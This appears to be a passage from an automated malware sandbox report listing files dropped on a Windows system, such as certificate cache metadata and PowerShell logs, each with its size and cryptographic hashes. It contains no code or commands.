SHA51213e360dae91c9d6ee27448f8e2b2533ddc7f457bd46a127781f474b5170aded262d49889a9e64c9a174704cabb3849e706721a24334ac16b9a4d034a6ab2da5a
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C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\5E5B0733CDA24F9EF7038FEEB6987C6E
Filesize556B
MD57f0a0803b54eb3cb847ed4c2791f4bac
SHA1ed10b2171bc585b1774d2325c82e1b84b5d1fe52
SHA256170568fab312cc1a95d712d25fc81bcc0758c07ae0bf3386839ea83c7f0ddad0
SHA51290538e43e7c7d1d4c451a20d593f804e09008bb02bfacf7b762d3eae1b18552b4eaea8ce18459e51e159afa3ce685014bbaa5e365e08ea5f11bc463d4571da95
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C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\6BADA8974A10C4BD62CC921D13E43B18_28DEA62A0AE77228DD387E155AD0BA27
Filesize408B
MD5d81374dd236abe556eaabee73caef0e5
SHA120c45c0ab28a3cc715dead519065f84a406af49d
SHA2560d8c0aa4dae5dace53b7466a98b9373a3ec83be708c96d72ec9a6e71afb342a9
SHA51259ccc8061fb164a794b8c6c014aa52941d02b87cfd5fed399c4cc21062808995b85e9a7575b6214a12902b880682f74f7d17c3e4fbb9dcde0cdd2528ab1a2267
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Filesize
409KB
MD5404ab800bbe49c36bd64d0d73600b59a
SHA14c8dff2702fada108f7477ad357067310b584366
SHA2565465f02f24ee5c1fc9c9c27c86c209eeddc2ed607143e1b76ca9c9d9b7b84154
SHA512d0ecd88adfd84d9d8e845281e0437368aadf3d1d6fb704d7c7630d1360697471c2a49584f968eeebd5b435f11af9ce3d06327f1835fa5d07a140f22c0f95fc11
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Filesize
283B
MD5188f99f3af249e57cbb5ad9752b4aeec
SHA17c07bf7072db638c3b87681359b41a70c1973af6
SHA2568e474673273df482afc3b787fc3c2ea29c14f6e01cc0d0c4aed7d6a703c34f8b
SHA512cce26c358b65d91dd64b9e6c1d5a1158e3017e71f277d6c42a4d51fe0f349d6e39e2e13e05b92aed3ad5ed06d048fe0fd994a6a8dc91ed79abb1f7a9c2504a60
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Filesize
1B
MD5c4ca4238a0b923820dcc509a6f75849b
SHA1356a192b7913b04c54574d18c28d46e6395428ab
SHA2566b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b
SHA5124dff4ea340f0a823f15d3f4f01ab62eae0e5da579ccb851f8db9dfe84c58b2b37b89903a740e1ee172da793a6e79d560e5f7f9bd058a12a280433ed6fa46510a
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Filesize
162KB
MD5152e3f07bbaf88fb8b097ba05a60df6e
SHA1c4638921bb140e7b6a722d7c4d88afa7ed4e55c8
SHA256a4623b34f8d09f536e6d8e2f06f6edfb3975938eb0d9927e6cd2ff9c553468fc
SHA5122fcc3136e161e89a123f9ff8447afc21d090afdb075f084439b295988214d4b8e918be7eff47ffeec17a4a47ad5a49195b69e2465f239ee03d961a655ed51cd4
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Filesize
224B
MD5923928467d33eaafe17c9c880275a9d9
SHA1ebc3690e3ef664d8f3516acda552c700a36dbc4a
SHA256d9dcd1d0c068c2c392f9d53d4439406cef536950a78ca25004871370139ca92f
SHA512800b9e1f94837efd3f836865b49af1ba8db461425d99a48e571b9624169f32230210c0aec1dd7885d51cce2b89b2ca2843e4116a8bd864725bc1fc16b592e18b
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C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_363582827213C09529A76F35FB615187
Filesize412B
MD5d4bb3da876ef5c3429c7ed7479f60ffe
SHA1663cb407b965530283a205ad4537989fec6f5e4c
SHA2563f7936853e9d5d148696a2cbbcec238e6fdd92c62d8323b5f3574697646e648a
SHA5126e94a4efde317eb3ca4944234c76dfc5373c2e19c2e077f801cc49d1ae2cf1fcb30afa5928bfdd4bc57645273e4b9811bc4623e3a1673f5d38c6c9f19d3e9825
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C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.EXE.log
Filesize3KB
MD556efdb5a0f10b5eece165de4f8c9d799
SHA1fa5de7ca343b018c3bfeab692545eb544c244e16
SHA2566c4e3fefc4faa1876a72c0964373c5fa08d3ab074eec7b1313b3e8410b9cb108
SHA51291e50779bbae7013c492ea48211d6b181175bfed38bf4b451925d5812e887c555528502316bbd4c4ab1f21693d77b700c44786429f88f60f7d92f21e46ea5ddc
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C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Filesize1KB
MD5d61d7f65117823a52913b840feed43c6
SHA1e2580207e1611dcb229ee9d2b4bb0bd4dbcc884f
SHA256d0d50cb4ab1fe4b5dcb9c081d49b33381336fc0ebc7629702ed94d47f7032a86
SHA512e4cf12f3642ce8746f39bcfaa6265d105919d1cbe863119f4413aa4c5d307d7d69f0638bd0434d47f651e183ec209f02dd7d44954c790ef4d585155817ed8a3c
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C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
MD5d41d8cd98f00b204e9800998ecf8427e
SHA1da39a3ee5e6b4b0d3255bfef95601890afd80709
SHA256e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855
SHA512cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e